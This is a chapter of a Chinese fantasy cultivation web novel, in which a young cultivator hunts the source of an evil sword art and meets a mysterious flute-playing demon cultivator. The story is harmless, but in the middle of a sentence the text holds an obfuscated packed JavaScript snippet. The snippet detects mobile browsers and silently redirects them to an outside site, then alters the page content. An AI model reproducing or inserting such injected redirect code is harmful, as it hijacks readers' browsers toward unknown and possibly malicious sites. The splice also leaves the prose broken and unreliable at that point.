即便身在茂密枝叶下,男子外袍依旧被方才持续许久的细雨沾湿了,可半边身子挂在他衣襟外的面人却周身干爽,长手耷拉着垂下,像是好奇地从他胸前探头探脑。 良久,那主仆二人的身影已经彻底瞧不见了,主峰上的人群也逐渐散去,青年才像是终于看够了热闹,缓缓站起身来。 “今天这戏如何?”他抬手在面人头顶轻轻一拍,后者被他拍得晃了晃,头耷拉得似乎更厉害了。 自然无人回应他的话,青年却兴致不减,立在枝头远眺云海半晌,忽地喃喃自语:“……方才竟无一人为她撑伞,实在不懂怜香惜玉。” 这话仿佛梦呓般自那薄唇中吐出,男子说完顿了顿,像是自己也不知自己为何会有此言。 “这山里总算有了点活气,只可惜她却看不到了。”又沉默了会儿,他道,身形在落日余晖中显出几分寂寥。 “你说,我再添把火,让局面更好玩些,如何?” 他自语完,哼着小曲儿,心情很好地自枝头跃下,好似一只紫色蝴蝶,猛地坠入崖下的无边雾气中。 松枝轻晃了晃,很快恢复如初。即便有人此时从树旁路过,也不会察觉到其上曾有人驻足。 16. 闻笛 择院仪式过去,扶萤总算能真正开始她的修行之路。 这条路她从前世走到今生,直到择院结束,她被重新分配到了新的独间院落,每日醒来便能看见窗外婆娑松影,才终于有了些许实感。 此院名“泠弦斋”。泠泠七弦上,静听松风寒。扶萤心知这是晏参商在警醒她,需静心存想,不可骄狂。 再过一段时日便是学院正式开课的日子,她一边继续尝试突破至金丹境,一边凭借晏参商私下里教给她的御剑术不时往返,从藏经阁借书来看,如此白日看书,夜里修炼,过了数日,扶萤察觉自己似乎有些着急了。 筑基至金丹,乃是大境界的跨越,定然不会是她继续勤修下去便能有多大作用的,须得等待机缘。想通此处,扶萤索性便决定休息一段时日,不去管此事了。 但不管此事,却有另一事一直萦绕心头。 旁人看她能赢,或说是她不过侥幸,或说是洛呈没了心气。但唯有作为当事人的扶萤自己知道,她虽是修为提升,又重塑了法剑,但若洛呈真如先前那般招招奇诡,她未必能招架住。 她能赢,最大的原因仍在于,洛呈的剑路乱了。 这种微妙的混乱只有与之对战的人才能感受深刻,从前她也在许多人身上曾见过,但这种情况仅会出现在对手慌乱力竭时。 洛呈明显离力竭还差很远——他甚至都没有真正动用灵力,但他的剑招气势就是飞速萎顿下来,像是被什么东西汲走了生命力。 那种每招每式都仿佛出自不同兵器,又富于变化,透露些许邪异气息的剑术,扶萤从前即便阅读过成百上千的典籍,也只在一处地方看到过类似记载。 传说凡世前朝有一帝王信奉“大欢喜佛”,此佛生着十二条手臂,分别持刀、枪、剑、刺等十二兵器。在欢喜教教义中,大欢喜佛手眼通天,武力超群,会为信众赐下无数金银财宝与宝屋美人。帝王闻之大喜,将欢喜教立为国教,又与妖僧共创了一个“十二天魔舞”,根据此佛的十二种武器使用形态建造舞姿。 这舞本是令宫女跳来取乐的,但在不断演变中便为了剑舞,又随着王朝将倾,融入了些许巫教仪式,被用在战前的祈福祭祀中。以这样的舞来祈福,本是痴人说梦,但也不知是当真有邪神相助还是如何,跳过此舞后,战事总是顺遂无比。皇帝便愈发依赖众欢喜教妖僧的指点,甚至在祈福典礼中加入人祭仪式,只求能再延续几百年统治。 但王朝气数已尽,即便能赢几场战役,终究无法扭转局势。起义军攻破了皇城,将所有宫殿庙宇付之一炬,这剑舞的谱子也便随之湮没在历史尘埃中,许多年未再出现。 不过凡世一邪功,王朝已灭,此功法本该永封尘世。可忽然有一天,大欢喜佛的名字却再次在修真界暗中流传起来。 不知是谁最先提起这个名字,也不知是从何处传开,总之,等到修士们发现时,信众已经于暗中纠集成相当庞大的势力,世家几次联手围剿,竟都无法将其连根铲除,只能放之任之,令其藏在暗处。 与此同时,名唤“十二天魔舞”的剑法也重现于世,因本身脱生于邪佛信仰,又承载了王朝覆灭的孽力,因此此剑法被划分到阴诡邪术那一类,连她从前看的那本记载着天下武学的奇书也只是对此一笔带过,只说此剑法虽能在短期内取得相当可观的成效,但对个人气运有损,不可修习。 洛呈虽然伪善,冷酷……扶萤能数落出他许多缺点,却也不愿相信他会修炼邪功。 她想弄清楚那剑术的来源,如此,方能消除心中不安。 扶萤于是成日往藏经阁跑,只是因着她那日好似凶神临世的做派,路上见到她的人大多神色躲闪,老远就避开,除却在阁中避无可避之时,其余时间竟像是在她身边自成一片空白地带。 对此,红豆的评价是:“小姐太过厉害,将其他人衬得抬不起头来,自然不愿意在你的光辉下残喘度日。” 二人如今虽然仍是主仆关系,但已得大掌院首肯一同在人道院修行,扶萤拿她当自己师妹,按照自己前世的知识开始教她基本的吐纳之法,眼看小侍女一天天进步,也一天天开朗,半点没有初到别庄时那般天天劝她嫁个好人家的模样,竟隐有“吾家有女初长成”之感。 而与此同时,山中却不大太平。 先是不时有弟子被发觉夜里在山中游荡,人们将之拦下后,发现其中了离魂术,不得不满山为其找魂。而后情况变本加厉,不仅是弟子,连一些教习的夫子也时常着道,被一些设在山道上的陷阱捉弄得满身狼狈。 这日,当扶萤从藏经阁出来时已经是傍晚时分,她将以她此时身份能翻阅的书籍玉简都看了个遍,依旧没能发现与十二天魔舞有关的记载,不由将目光落在更高的楼层上。 藏经阁分六层,最上两层乃是少许资深弟子已经夫子掌院们才能进入的地界,所储藏的也是高阶的功法典籍与绝密案卷,以她目前资历自然不够涉足。 正当她驻足仰头的时候,背后响起熟悉的声音。 “怎么,下面没有你想要找的书吗?”扶萤回头一看,来者是晏参商,她背后还跟了两人,一个是红衣的魁梧青年,另一个则是青衣的瘦弱公子。 扶萤目光在二人脸上一过,见晏参商没有为他们互相介绍的意思,便主动朝他们微微一点头。 红衣人傻笑着,青衣人回她一个点头。 “这是我的腰牌,可入最上两层楼阁。”晏参商看着扶萤,手一伸,掌心出现一个木牌子,“不过……” 她“不过”后面的话还未来得及出口,便听阁外再次闹起来。 这热闹样子扶萤这几天已经很熟悉——想必是又有魔修前来捣乱,左右闹不过一会儿便消停了。 可这次,吵闹没能平息,反而愈演愈烈,脚步声与法器的长啸嗡鸣声交织在一起,将藏经阁中许多弟子的注意力都吸引过去。 “又是那贼人!”枯荣真人尖利声音传来,颇有些气急败坏,“所有弟子,皆去捉拿此魔!” 他声音响彻云霄,话音一落,许多弟子便开始往阁外跑,知道是出大事了。 “请问晏夫子,枯荣真人为何如此生气?”扶萤几人也往外走去。可就她的看法,魔修与仙门向来不对付,来仙门的地盘作乱自然再正常不过,何况此魔分明未曾害人,不过是搞些恶作剧罢了,也无伤大雅。 晏参商便笑道:“约莫是从你们来之前的半月开始,山中便时时有魔修前来作乱,那魔头法力高强,护山大阵对他形同虚设,可那贼子也不杀不抢,只专挑弟子吓唬……”说话间几人出了门,只见头顶夜空中正漂浮着无数纸鸢,纸鸢如活物般,正追着弟子们四处跑,不时还幻化出妖魔形态,天际可说群魔乱舞。 “又时而如今天这般,放满山的逐魂鸢惊扰众人。”晏参商慢慢把话说完了,拢着袖子,看着空中这难得一见的景象。 扶萤挑了挑眉:“逐魂鸢?” “乃是一种专用于恶作剧的纸鸢,会变幻形态吓人,将人吓得魂魄离体后方罢休。”青衣人好心为她解惑,“虽是无多大害处,但数量一多,便很烦人。” 像是为了印证他的话,枯荣真人的怒吼再次从云上传来。 “魔修大多心思诡谲难测,或许枯荣真人是担心其乃放松我等警惕的试探,前几次无伤大雅,之后再动真格。”晏参商道。 扶萤了然,心说这担忧也不无道理。说话间一行人走到崖边,只见西南方位的火光滔天,正有无数弟子往那处赶去。 “那是枯荣真人的九重宝塔。这一烧起来,不知有多少宝贝要遭殃了,真是可惜啊。”晏参商目光落在那片橙红天色上,见扶萤看来,又对她眨眨眼。 扶萤忍不住笑起来,只觉近来心中莫名堵塞的郁气稍解。 笑过后,却见晏参商仍是盯着她:“你生得好看,也该多笑笑才是,平日里总是板着脸,许多弟子都不敢来找你说话呢。” 嗯?扶萤留了个心眼。晏参商不是会信口胡言之人,她会这么说,想必确实有人曾向她说起此事。 “不好了!不好了!”有弟子御剑落在几人身前,朝晏参商一作揖后,气喘吁吁道,“宝塔的火势止不住,枯荣真人大发雷霆,要所有弟子都去搜寻此魔下落呢!” “我知晓了。”晏参商应下,待那弟子走远后,才对扶萤三人一点头,“既如此,你们便也去山中四处转转,若有其踪迹,即刻来报。” 那二人应声后看向扶萤,似是想等她一同行动。可扶萤不习惯与人同行,于是朝几人点头后,便独自离开了。 身后,红衣青年欲言又止,长吐一口气。 ** 扶萤独自漫步在山中。 对于找魔头,她并没有很大意愿。但能借此在山中四处逛逛,倒也不坏。 远处天际闪烁的火光与不时有弟子被逐魂鸢追赶发出的尖叫是最美妙的散步佐料,扶萤慢慢走在山路间,嗅着草木清气,几乎想要哼一首曲子。 她这时便有些想自己的笛子了。 扶萤前世曾有一支自己削的竹笛,独自在山中练功觉得憋闷的时候,便会摸出竹笛吹奏一曲,算是一个鲜有人知的小爱好。 要是这时有笛子在身边,她真想吹奏一曲。 几乎是这样想完的瞬间,一道悠远笛声便于山间响起了,像是为了满足她的诉求而特意为她演奏的一般。 扶萤先是下意识停住脚步,觉得自己幻听了。 可笛声不歇,低处幽咽断续,高处清远悠扬,吹笛人虽然不算十分工于技巧,但富于感情,令听者为之神往。 她不由听了片刻,察觉出这似乎是某个民间小调,而且当中似乎还有曲调错误。 冥冥中像是有某种吸引,扶萤不由顺着声音寻过去,想要探究吹笛人究竟是谁。 怎会将这等简单的小曲都吹错呢! 她顺着声音走,穿过山涧,拨开树丛,过了许久,走到了一处断崖边。 崖边空旷,只得一棵扭曲枯槁的不知名树木,从树木的形态来看,应当是中了雷击成的这幅模样。有一紫衣青年背对着她,斜着身体倚靠在枯树上,从扶萤的角度,只能看见他露出的半截玉笛,与执笛的,冷白的手。 她谨慎地停下了,没再前进。 已经走到如此近的地方了,她对此人修为竟还全无感知,而这人也就这般继续演奏,对于身后来人也毫不在意。 心中不安,面上也就下意识带出了些警惕。于是待男子回过头来时,所见的便是少女双目晶亮,停在几步之外直勾勾盯着他的样子。 “你倒是面生,之前从未见过。”青年柔声道,没人看轻他如何动作,人已经到了扶萤身前,凑近她轻道,“你叫什么名字?” 扶萤没动,任由那玉笛挑起了自己胸前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920104|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕发丝:“宋楹。” “宋楹。宋楹。”那人将她名字念了几遍,似乎在思忖着什么,正巧此时有一只萤火虫飞过,他目光在那点幽绿上微微一停,续道,“是流萤之萤?” 扶萤心说此人怎得和晏参商问同样的问题,又想,反正二人之后只怕也不会再见,自己的名字究竟为何也与之无关,索性懒得再多解释,只道:“是。” 男子看她的目光有些奇异,顿了良久方道:“那我便唤你阿萤罢。”他说着,放过了扶萤的头发,像是很高兴。 扶萤皱了下眉,为他话里的亲昵有些不适应,缓了下才硬起语气道:“阁下便是今夜于山中作乱之人?”说话间,手已经背到身后,握住了剑柄。 “作乱?”男子重新直起身,走到崖边,负手看着脚下苍莽群山,语气冷寂,“这山中上下皆是道貌岸然之辈,我便是当真了解了他们,也只是为所谓修真界铲除一堆蛀虫罢了。作乱二字,可担待不起。” 扶萤不得不承认他的“蛀虫”之言还挺合自己胃口的,但不免辩解几句:“即便不乏你所说的蛀虫,但总也有许多真正良善,一心向道之人。阁下将他们一概而论,未免有失偏颇。” “你竟不反驳‘道貌岸然’这一词,倒是第一个。”男子回头看她,挑了下眉,随即笑开来,狭长凤目眯起,很是愉快,“看来,你我果然有缘。” 没等扶萤有所反应,他却又很快收起笑容,作悲戚状:“其实我在此处,是为缅怀一故人。” 他以袖掩面,擦试了下并不存在的眼泪:“我不过有事离开些时日,回来竟已物是人非。我心感悲戚,这才雨夜吹笛,聊寄思念。” 听到他前半句时,扶萤心道怎得自己前些日子梦到故人,昨日见到故人,今天又来一个缅怀故人的,这覆羽山风水是否有何问题,故人开会呢? 待听完后半句,扶萤却又微微一愣。 雨夜? 她抬头看夜空。深蓝天空不染纤尘,月明星稀,分明是个晴夜,没有丝毫要落雨的迹象。 扶萤狐疑地观察半晌,就要重新低下头时,一滴水滴在了她眉心,冰凉冰凉。 几乎是瞬间,绵绵雨丝落下来,将她衣襟微微沾湿, “怎么?”男子重又笑了,“我说得不错罢。这雨说下就下,也真是不懂怜香惜玉。” 他说着,手一伸,手中竟多出一柄油纸伞,又攥着伞柄,朝着扶萤抛过去。 纸伞旋飞着飘来,扶萤下意识跃起抓住伞柄,落地时心中一动,忽地直直看向青年漆黑眼眸中。 这是他以法力降下的雨! 青年身形挺拔,负手站在微雨中,意态潇洒至极。他本就生得俊美,长眉斜飞入鬓,眼眸深邃,薄唇不语,尤带三分笑意。 但扶萤此刻看着那张可称艳丽的面容,却觉那笑有些邪异了。 能一念之间便令晴空降雨,且不惊动山中上下成百上千的修士……男人修为,可称近神。 可偏偏此人说着“心感悲戚”,面上却也不见多少悲色,一时假作落泪,一时又展颜嬉笑,神情转换之快,比夏夜晴雨还要难测。 扶萤又默了片刻:“便是为故人而来,也不应惊扰其他修者。他们有不少都是寒门子弟,来此不过是想寻一清静地。” 出乎她意料的是,男子这次倒是从善如流,一点头应承下来:“既然阿萤如此说,那我离开便是。” 说完,他身形一动,提步踏在崖外虚空中,如履平地。 “且慢。”眼看青年真就转身便走,须臾间已经在数十丈外,扶萤提声叫住他,语气有些不豫,“你已知晓我的名字,我却不知道你的。” 青年回头,他背对明晃晃月光,面容隐在幽暗中,只余周身雪亮轮廓。 带笑的声音传来,却是轻描淡写:“你我不过萍水相逢,不必知晓我的名字。” 扶萤还要再说什么,待追到崖边一看,千峰随雨暗,哪还有那人的影子? 然人虽不见,笛声却依旧从不知何处的远方传来,先前曲中错处还是未改。扶萤摇摇头,心道自己本想提醒他错漏之处,但先前说起话来,竟全然忘了。又暗想这魔修真是古怪至极,也不知是哪路魔头,又有何目的。 她自然不至于就信了对方那番故人之说,只道他频频来山中查探,定然有着更深远的计谋。 男子走后不过片刻,雨停了。扶萤抖了抖油纸伞上雨珠,将之收起后放回了住处,只等若之后还能再见,再将伞还给他。 此夜兵荒马乱,待到天明时,分散寻觅的众人才陆续回到璇玑阁处,只是除却洛呈找到了只犹带魔气的小纸鸢,其余人皆一无所获,枯荣真人气得又打骂了一众仙侍,但怒归怒,却拿那魔头毫无办法。 “从今日起,覆羽山实行宵禁制度,入夜后除却巡逻弟子,任何人不可未经许可随意在山中行走!”枯荣真人冷笑,“我倒要看看,下一次你再露面,我还会不会失手!” “宵禁”二字一出,不少人难掩沮丧,可大掌院轻易不露面,他不在,山里最厉害的便是枯荣真人,其他夫子和学生都免不了要听他命令。 扶萤神色平淡,仿佛事不关己,可心中到底对那紫衣青年的身份产生了好奇。 能那般悄无声息操纵云雨,又令枯荣真人也吃瘪数次……当世又能有几人? 下次再见面,她非得问出他名字不可。